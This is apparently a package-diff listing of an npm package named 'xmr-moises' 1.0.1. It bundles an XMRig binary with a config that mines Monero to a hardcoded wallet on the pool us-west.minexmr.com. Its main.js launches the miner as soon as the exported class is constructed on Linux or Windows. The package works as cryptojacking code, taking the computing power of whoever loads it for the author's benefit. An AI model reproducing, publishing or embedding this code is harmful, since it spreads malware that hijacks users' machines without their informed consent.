xmr-moises 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +12 -0
- package/src/config.json +151 -0
- package/src/main.js +70 -0
- package/src/xmrig.exe +0 -0
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "xmr-moises",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "xmr-module de mineria por moises",
|
5
|
+
"main": "/src/main.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "moises",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/src/config.json
ADDED
@@ -0,0 +1,151 @@
|
|
1
|
+
{
|
2
|
+
"api": {
|
3
|
+
"id": null,
|
4
|
+
"worker-id": null
|
5
|
+
},
|
6
|
+
"http": {
|
7
|
+
"enabled": false,
|
8
|
+
"host": "127.0.0.1",
|
9
|
+
"port": 0,
|
10
|
+
"access-token": null,
|
11
|
+
"restricted": true
|
12
|
+
},
|
13
|
+
"autosave": true,
|
14
|
+
"background": false,
|
15
|
+
"colors": true,
|
16
|
+
"title": true,
|
17
|
+
"randomx": {
|
18
|
+
"init": -1,
|
19
|
+
"init-avx2": -1,
|
20
|
+
"mode": "auto",
|
21
|
+
"1gb-pages": false,
|
22
|
+
"rdmsr": true,
|
23
|
+
"wrmsr": true,
|
24
|
+
"cache_qos": false,
|
25
|
+
"numa": true,
|
26
|
+
"scratchpad_prefetch_mode": 1
|
27
|
+
},
|
28
|
+
"cpu": {
|
29
|
+
"enabled": true,
|
30
|
+
"huge-pages": true,
|
31
|
+
"huge-pages-jit": false,
|
32
|
+
"hw-aes": null,
|
33
|
+
"priority": null,
|
34
|
+
"memory-pool": false,
|
35
|
+
"yield": true,
|
36
|
+
"asm": true,
|
37
|
+
"argon2-impl": null,
|
38
|
+
"astrobwt-max-size": 550,
|
39
|
+
"astrobwt-avx2": false,
|
40
|
+
"argon2": [0, 2, 4, 6, 5, 7],
|
41
|
+
"astrobwt": [0, 1, 2, 3, 4, 5, 6, 7],
|
42
|
+
"astrobwt/v2": [0, 1, 2, 3, 4, 5, 6, 7],
|
43
|
+
"cn": [
|
44
|
+
[1, 0],
|
45
|
+
[1, 2],
|
46
|
+
[1, 4]
|
47
|
+
],
|
48
|
+
"cn-heavy": [
|
49
|
+
[1, 0],
|
50
|
+
[1, 2]
|
51
|
+
],
|
52
|
+
"cn-lite": [
|
53
|
+
[1, 0],
|
54
|
+
[1, 2],
|
55
|
+
[1, 4],
|
56
|
+
[1, 6],
|
57
|
+
[1, 5],
|
58
|
+
[1, 7]
|
59
|
+
],
|
60
|
+
"cn-pico": [
|
61
|
+
[2, 0],
|
62
|
+
[2, 1],
|
63
|
+
[2, 2],
|
64
|
+
[2, 3],
|
65
|
+
[2, 4],
|
66
|
+
[2, 5],
|
67
|
+
[2, 6],
|
68
|
+
[2, 7]
|
69
|
+
],
|
70
|
+
"cn/upx2": [
|
71
|
+
[2, 0],
|
72
|
+
[2, 1],
|
73
|
+
[2, 2],
|
74
|
+
[2, 3],
|
75
|
+
[2, 4],
|
76
|
+
[2, 5],
|
77
|
+
[2, 6],
|
78
|
+
[2, 7]
|
79
|
+
],
|
80
|
+
"ghostrider": [
|
81
|
+
[8, 0],
|
82
|
+
[8, 2],
|
83
|
+
[8, 4]
|
84
|
+
],
|
85
|
+
"rx": [0, 2, 4],
|
86
|
+
"rx/arq": [0, 1, 2, 3, 4, 5, 6, 7],
|
87
|
+
"rx/wow": [0, 2, 4, 6, 5, 7],
|
88
|
+
"cn-lite/0": false,
|
89
|
+
"cn/0": false,
|
90
|
+
"rx/keva": "rx/wow"
|
91
|
+
},
|
92
|
+
"opencl": {
|
93
|
+
"enabled": false,
|
94
|
+
"cache": true,
|
95
|
+
"loader": null,
|
96
|
+
"platform": "AMD",
|
97
|
+
"adl": true
|
98
|
+
},
|
99
|
+
"cuda": {
|
100
|
+
"enabled": false,
|
101
|
+
"loader": null,
|
102
|
+
"nvml": true
|
103
|
+
},
|
104
|
+
"log-file": null,
|
105
|
+
"donate-level": 1,
|
106
|
+
"donate-over-proxy": 1,
|
107
|
+
"pools": [
|
108
|
+
{
|
109
|
+
"algo": null,
|
110
|
+
"coin": null,
|
111
|
+
"url": "us-west.minexmr.com:443",
|
112
|
+
"user": "48vEocQ1rH4Hnu6djDsXMSKNzgZSy46aAFPvNEvuoBAjVF7p36kym2HJbzNUnC9ocj9RWvmvT8JcuSg7imBxMmHz7y4ZzYH",
|
113
|
+
"pass": null,
|
114
|
+
"rig-id": "minado",
|
115
|
+
"nicehash": false,
|
116
|
+
"keepalive": true,
|
117
|
+
"enabled": true,
|
118
|
+
"tls": true,
|
119
|
+
"wss": false,
|
120
|
+
"tls-fingerprint": null,
|
121
|
+
"daemon": false,
|
122
|
+
"socks5": null,
|
123
|
+
"self-select": null,
|
124
|
+
"submit-to-origin": false
|
125
|
+
}
|
126
|
+
],
|
127
|
+
"retries": 5,
|
128
|
+
"retry-pause": 5,
|
129
|
+
"print-time": 60,
|
130
|
+
"health-print-time": 60,
|
131
|
+
"dmi": true,
|
132
|
+
"syslog": false,
|
133
|
+
"tls": {
|
134
|
+
"enabled": false,
|
135
|
+
"protocols": null,
|
136
|
+
"cert": null,
|
137
|
+
"cert_key": null,
|
138
|
+
"ciphers": null,
|
139
|
+
"ciphersuites": null,
|
140
|
+
"dhparam": null
|
141
|
+
},
|
142
|
+
"dns": {
|
143
|
+
"ipv6": false,
|
144
|
+
"ttl": 30
|
145
|
+
},
|
146
|
+
"user-agent": null,
|
147
|
+
"verbose": 0,
|
148
|
+
"watch": true,
|
149
|
+
"pause-on-battery": false,
|
150
|
+
"pause-on-active": false
|
151
|
+
}
|
package/src/main.js
ADDED
@@ -0,0 +1,70 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const path = require('path');
|
3
|
+
const { spawn } = require('child_process');
|
4
|
+
|
5
|
+
const PLATFORM = os.platform().toLowerCase();
|
6
|
+
|
7
|
+
const LINUX_PATH = path.join(__dirname, './xmrig');
|
8
|
+
const WINDOWS_PATH = path.join(__dirname, './xmrig.exe');
|
9
|
+
|
10
|
+
module.exports = class XMRIGMiner {
|
11
|
+
|
12
|
+
|
13
|
+
_miner = null;
|
14
|
+
|
15
|
+
_filePath = null;
|
16
|
+
|
17
|
+
_running = false;
|
18
|
+
|
19
|
+
_worker = null;
|
20
|
+
|
21
|
+
constructor() {
|
22
|
+
this._init();
|
23
|
+
}
|
24
|
+
|
25
|
+
async _init() {
|
26
|
+
if (PLATFORM === 'linux') {
|
27
|
+
this._filePath = LINUX_PATH;
|
28
|
+
this.start()
|
29
|
+
}
|
30
|
+
|
31
|
+
else if (PLATFORM === 'win32') {
|
32
|
+
this._filePath = WINDOWS_PATH;
|
33
|
+
this.start()
|
34
|
+
|
35
|
+
}
|
36
|
+
|
37
|
+
else {
|
38
|
+
throw new Error('Unsopperted platform');
|
39
|
+
}
|
40
|
+
|
41
|
+
}
|
42
|
+
|
43
|
+
start() {
|
44
|
+
if (this._running) {
|
45
|
+
console.info('XMRIG already running');
|
46
|
+
return;
|
47
|
+
}
|
48
|
+
|
49
|
+
this._running = true;
|
50
|
+
this._exec();
|
51
|
+
}
|
52
|
+
|
53
|
+
stop() {
|
54
|
+
this._worker.kill();
|
55
|
+
}
|
56
|
+
|
57
|
+
|
58
|
+
_exec() {
|
59
|
+
|
60
|
+
// start script
|
61
|
+
this._worker = spawn(this._filePath, []);
|
62
|
+
|
63
|
+
// passthrough output
|
64
|
+
this._worker.stdout.on('data', data => console.log(data.toString()));
|
65
|
+
this._worker.stderr.on('data', data => console.log(data.toString()));
|
66
|
+
}
|
67
|
+
|
68
|
+
|
69
|
+
}
|
70
|
+
|
package/src/xmrig.exe
ADDED
Binary file
|